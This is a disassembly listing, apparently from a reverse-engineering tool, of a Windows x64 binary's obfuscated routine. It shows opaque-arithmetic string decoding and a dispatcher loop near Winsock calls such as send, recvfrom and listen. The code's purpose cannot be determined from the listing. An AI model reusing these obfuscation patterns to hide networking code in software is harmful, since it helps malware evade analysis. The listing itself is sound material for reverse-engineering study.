movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x63
jmp 0x1400a1078
movabs rcx, 0xd5f8c7ae45295e2e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x42
movzx eax, byte [rbp + rbx + 0xa38]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xd6a38faf914527dc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x1400a1782
movabs rdx, 0xd74e57b0dd60f18a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400a1752
movabs rdx, 0xd7f91fb2297cbb38
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xd8a3e7b3759884e6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4a
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xd94eafb4c1b44e94
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xc
jmp 0x1400a16c1
movabs rdx, 0xd9f977b60dd01842
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec rbx
inc rbx
jmp 0x1400a0b32
movabs rdx, 0xdaa43fb759ebe1f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r8
dec rbx
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xdb4f07b8a607ab9e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x52
jmp 0x1400a1671
lea rax, [r8 + 0x28]
cmp r9, rax
jae 0x1400a12c9
movabs rcx, 0xffaa9bff59f21b29
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1f
jmp 0x1400a10d3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a130a
movabs rcx, 0xf1fd97e4c1b874ba
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
movzx eax, byte [rbp + rbx + 0xa38]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a0b32
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a10d3
movabs rdx, 0xf0a807e22980e15e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400a1752
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a136d
movabs rcx, 0xeafc63d72294af17
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x5f
jmp 0x1400a1671
inc rax
cmp r9, rax
jne 0x1400a13a2
movabs rcx, 0xe9a6d3d48a5d1bbb
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1d
dec rbx
inc rbx
jmp 0x1400a0b32
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a13e4
movabs rcx, 0xe85143d1f225885f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x67
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a1423
movabs rcx, 0xe7a67bd0a609beb1
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x29
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a1078
movabs rdx, 0xe6fbb3cf59edf503
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x15
jmp 0x1400a1750
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a1494
movabs rcx, 0xe3fb2fc98370e974
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2c
movzx eax, byte [rbp + rbx + 0xa38]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a0b32
inc rax
cmp r9, rax
jne 0x1400a14c6
movabs rdx, 0xe2a59fc6eb395618
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400a1752
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400a1508
movabs rcx, 0xe1500fc45301c2bc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x24
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a102c
movabs rdx, 0xe0a547c306e5f90e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x62
add dl, cl
jmp 0x1400a16c1
movabs rdx, 0xdd4f5fbc8a5b08a8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, byte [rbp + rbx + 0xa38]
add dl, cl
add dl, r10b
jmp 0x1400a16c1
movabs rdx, 0xdca497bb3e3f3efa
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
sub cl, byte [rbp + rbx + 0xa38]
add dl, cl
add dl, r10b
jmp 0x1400a1752
movabs rcx, 0xf2fdc3e6b3e2233f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x47
movzx eax, byte [rbp + rbx + 0xa38]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xf4fe1bea98358049
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
inc dl
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xf5a8e3ebe45149f7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3f
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
movabs rdx, 0xf85403f114c070af
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x37
add dl, cl
jmp 0x1400a1671
movabs rcx, 0xf9a993f3acf8040b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4d
movabs rcx, 0xdda4c3bd3068ed7f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x79
add cl, r10b
mov byte [rbp + rbx + 0xa38], cl
inc r8
dec rbx
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xfba9ebf7914b6115
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6d
movabs rcx, 0xdcf9fbbbe44d23d1
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x49
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xa38], cl
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xfcff7bfa2982f471
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x17
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
mov r10, r11
movabs rcx, 0xfdaa43fb759ebe1f
add rcx, rbx
and r11b, cl
add r11b, r11b
movzx edx, r10b
sub dl, r11b
add dl, 0x27
add dl, cl
movabs rcx, 0xdc4f33ba98315a23
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0xb
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xa38], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0xdbf9cfb9f223754c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x14
add cl, r10b
mov byte [rbp + rbx + 0xa38], cl
inc r9
mov rax, r13
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa38]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xfeffd3fe0dd6517b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x5d
movzx eax, byte [rbp + rbx + 0xa38]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xd3a30ba9bac81c4d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1b
jmp 0x1400a0b2e
movabs rcx, 0xd44dd3ab06e3e5fb
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x23
jmp 0x1400a0b13
lea rcx, [rbp + 0x16a49c4]
jmp 0x1400a1862
lea rcx, [rbp + 0x15c64ed]
jmp 0x1400a1862
lea rcx, [rbp + 0xa38]
mov dword [rbp + 0x1050], 0x1f4
mov dword [rbp + 0x1048], reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1050]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1048]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
test al, al
je 0x1400a18f8
lea rdx, [0x140227dc0]
lea rcx, [rbp + 0x318]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x18]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a3852
mov eax, dword [rdi + 0x30]
mov dword [0x1401da8a0], eax
mov dword [rbp - 0x5c], 0
mov dword [rbp - 0x58], 0
mov byte [rbp + 0xa60], Ordinal_143
mov byte [rbp + 0xa61], 0xbd
mov byte [rbp + 0xa62], 0xa3
mov byte [rbp + 0xa63], 0xbf
mov byte [rbp + 0xa64], 0x52
mov byte [rbp + 0xa65], Ordinal_143
mov byte [rbp + 0xa66], 0xa8
mov byte [rbp + 0xa67], 0xb4
mov byte [rbp + 0xa68], 0xb1
mov byte [rbp + 0xa69], 0xa1
mov byte [rbp + 0xa6a], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa6b], xmm0
mov qword [rbp + 0xa7b], rax
movabs rsi, 0xc0df3b8e9789963d
movabs r12, 0x155ff6a5442b1f89
movabs r14, 0x9b1aebbc036a1f63
movabs r15, 0x705afe717b13e051
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a26d2
movzx r10d, byte [rbp + rbx + 0xa60]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a26c6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a1a03
lea rcx, [rbx + r12]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x41
jmp 0x1400a1a30
je 0x1400a263c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a259c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a253b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a250e
cmp r9, rbx
ja 0x1400a26ba
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400a1a61
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x55
jmp 0x1400a1aa0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a24ba
inc rax
cmp r8, rax
je 0x1400a248d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a2458
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a2423
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a2104
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400a20e0
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400a20ae
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a2084
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400a205b
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400a2036
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a1ffd
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400a1fd9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400a1fb0
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400a1f7b
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400a1ab0
lea r8, [r9 + 4]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400a2695
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400a2671
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400a1c99
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400a1c7a
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400a1c5f
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400a1f1d
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400a1ec3
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400a1e74
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400a1e45
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400a1ab0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0xa]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400a1e10
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400a1de7
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400a1dc3
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400a1d8a
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400a1d66
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400a1d3d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400a1d13
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400a1ce1
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400a1cbd
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400a1ab0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x3e8]
jmp 0x1400a1ab0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4b
jmp 0x1400a1aa0
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x37
add r11b, dl
jmp 0x1400a1a30
movabs rcx, 0x459b1126f2bda13f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
jmp 0x1400a19c5
movabs rcx, 0x6f9dc74bc4cb1e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x1400a24d9
movabs rdx, 0xdc39ef2a33f672d6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0xb17a01dfaba033c4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5c
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rdx, 0x86ba14952349f4b2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a255a
movabs rcx, 0x5bfa274a9af3b5a0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400a2584
movabs rdx, 0x313a3a00129d768e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x67a4cb58a47377c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
jmp 0x1400a25c2
movabs rdx, 0xdbba5f6b01f0f86a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a25f2
movabs rcx, 0xb0fa7220799ab958
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0xa60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x461aa0e624c31bab
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x53
mov byte [rbp + rbx + 0xa60], r11b
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x1b5ab39b9c6cdc99
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2f
cmp r9, 0x400
jb 0x1400a1e64
movabs rcx, 0x843c45d9292e9096
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x34]
jmp 0x1400a24d9
movabs rcx, 0xf09ac65114169d87
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4f
cmp r8, 0x10
jae 0x1400a23c7
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400a22cd
movabs rcx, 0xd8bd00efd5d019e2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
jmp 0x1400a1e93
movabs rcx, 0xc5dad9068bc05e75
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x33
lea rax, [r8 + r9]
cmp rax, 1
je 0x1400a23f8
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400a2204
movabs rcx, 0x17ddc5613e4683a5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x7d
jmp 0x1400a1ee2
movabs rcx, 0x853b65578d39856e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
movzx eax, byte [rbp + rbx + 0xa60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a19b2
movabs rdx, 0x5a7b780d04e3465c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a25f2
movabs rcx, 0x2fbb8ac27c8d074a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
jmp 0x1400a25c2
movabs rdx, 0x4fb9d77f436c838
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0xda3bb02d6be08926
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xa
jmp 0x1400a2584
movabs rdx, 0xaf7bc2e2e38a4a14
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a255a
movabs rcx, 0x84bbd5985b340b02
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rdx, 0x59fbe84dd2ddcbf0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x2f3bfb034a878cde
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x12
jmp 0x1400a24d9
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400a212f
lea rcx, [rbx + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x41
jmp 0x1400a1f3c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a2171
movabs rcx, 0x81be771d2f132c7a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x56
movzx eax, byte [rbp + rbx + 0xa60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a19b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a21a2
movabs rcx, 0xd73e51b23fbfaa9e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
jmp 0x1400a25c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a21d3
movabs rcx, 0x2cbe2c47506c28c2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
jmp 0x1400a2584
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a1f3c
movabs rcx, 0xd7bde17171c5250a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x46
jmp 0x1400a24d9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a2234
movabs rcx, 0x429db2abc69cc2b7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
dec r11b
jmp 0x1400a24d9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a226b
movabs rcx, 0x981d8d40d74940db
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 3
dec rbx
inc rbx
jmp 0x1400a19b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a229c
movabs rcx, 0xed9d67d5e7f5beff
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 7
jmp 0x1400a2584
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a1ee2
movabs rcx, 0x6ddd2fb580f87c35
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x73
jmp 0x1400a25f2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a2314
movabs rdx, 0x37cee3a5e2658f4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a19b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a234a
movabs rdx, 0x58fcc8cf6ed2d718
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a25c2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a238b
movabs rcx, 0x83bcb619f729162a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x26
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a19b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a1e93
movabs rdx, 0x3fc7df9902bd360
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rdx, 0xaefc3323b184cfa8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xa60]
add r11b, dl
add r11b, r10b
jmp 0x1400a255a
movabs rcx, 0xd9bc206e39db0eba
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xa60]
lea r11d, [r10 + rcx]
sub r11b, 0x16
jmp 0x1400a25c2
movabs rcx, 0x419e932d6291cddf
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x19
movzx eax, byte [rbp + rbx + 0xa60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a19b2
movabs rcx, 0xc15ecb4dc98f10a9
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x61
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x165f1623a8361461
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x59
inc r9
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0xeb9f28d91fdfd54f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x29
movabs rcx, 0x999c3c7e6d59b01f
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x27
add r10b, cl
mov byte [rbp + rbx + 0xa60], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x6b5f60f986dd1819
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
inc r9
dec rbx
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x15df8664763099f5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4d
movabs rdx, 0xc45c29c8f5afef31
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x57
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa60], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a19b2
mov r10, rdi
movabs rdx, 0x959fbe84dd2ddcbf
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x39
add r11b, dl
movabs rcx, 0xef1c17137e062e43
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x2b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xa60], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x47c0db8c2314dcc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xa60], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a19b2
movabs rcx, 0x401fe3efcc815e9b
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3d
movzx eax, byte [rbp + rbx + 0xa60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a19b2
